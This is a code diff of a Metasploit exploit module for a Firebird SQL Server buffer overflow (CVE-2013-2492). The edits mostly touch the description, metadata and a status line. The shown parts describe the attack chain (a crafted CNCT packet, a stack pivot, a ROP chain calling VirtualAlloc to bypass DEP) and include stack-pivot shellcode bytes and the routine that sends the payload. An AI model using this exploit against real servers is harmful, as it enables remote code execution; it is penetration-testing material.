@@ -15,24 +15,22 @@ def initialize
15
15
super (
16
16
'Name' => 'Firebird Relational Database CNCT Group Number Buffer Overflow' ,
17
17
'Description' => %q{
18
- This module exploits a vulnerability in Firebird SQL Server. A
19
- specially crafted packet can be sent which will overwrite a pointer
20
- allowing the attacker to control where data is read from. Shortly following
21
- the controlled read, the pointer is called resulting in code execution.
22
-
23
- The vulnerability exists with a group number is extracted from the CNCT information
24
- which is sent by the client and the size is not properly checked.
25
-
26
- This module utilizes an existing call to memcpy just prior to the vulnerable exception
27
- which allows a small amount of data to be written to the stack. A small stackpivot is
28
- used to execute a small ROP chain which provides a larger stack pivot to a larger ROP
29
- chain which ultimately is used to execute VirtualAlloc and bypass DEP.
18
+ This module exploits a vulnerability in Firebird SQL Server. A specially
19
+ crafted packet can be sent which will overwrite a pointer allowing the attacker to
20
+ control where data is read from. Shortly, following the controlled read, the
21
+ pointer is called resulting in code execution.
22
+
23
+ The vulnerability exists with a group number extracted from the CNCT information,
24
+ which is sent by the client, and whose size is not properly checked.
25
+
26
+ This module uses an existing call to memcpy, just prior to the vulnerable code,
27
+ which allows a small amount of data to be written to the stack. A two-phases
28
+ stackpivot allows to execute the ROP chain which ultimately is used to execute
29
+ VirtualAlloc and bypass DEP.
30
30
} ,
31
- 'Author' => [
32
- 'Spencer McIntyre'
33
- ] ,
34
- 'Arch' => [ ARCH_X86 ] ,
35
- 'Platform' => [ 'win' ] ,
31
+ 'Author' => 'Spencer McIntyre' ,
32
+ 'Arch' => ARCH_X86 ,
33
+ 'Platform' => 'win' ,
36
34
'References' =>
37
35
[
38
36
[ 'CVE' , '2013-2492' ]
@@ -43,10 +41,10 @@ def initialize
43
41
} ,
44
42
'Payload' =>
45
43
{
46
- # mov eax,fs:[0x18] # add eax,8 # mov esp,[eax]
47
- 'Prepend' => "\x64 \xa1 \x18 \x00 \x00 \x00 \x83 \xc0 \x08 \x8b \x20 " ,
48
- 'Space' => 400 ,
49
- 'BadChars' => "\x00 \x0a \x0d " ,
44
+ # Stackpivot => mov eax,fs:[0x18] # add eax,8 # mov esp,[eax]
45
+ 'Prepend' => "\x64 \xa1 \x18 \x00 \x00 \x00 \x83 \xc0 \x08 \x8b \x20 " ,
46
+ 'Space' => 400 ,
47
+ 'BadChars' => "\x00 \x0a \x0d " ,
50
48
} ,
51
49
'Targets' =>
52
50
[
@@ -234,7 +232,7 @@ def exploit
234
232
evil_data << final_rop_chain
235
233
evil_data << payload . encoded
236
234
237
- print_status ( "#{ datastore [ 'RHOST' ] } :#{ datastore [ 'RPORT' ] } - Sending Connection Request For #{ filename } " )
235
+ print_status ( "#{ rhost } :#{ rport } - Sending Connection Request For #{ filename } " )
238
236
sock . put ( evil_data )
239
237
240
238
disconnect
0 commit comments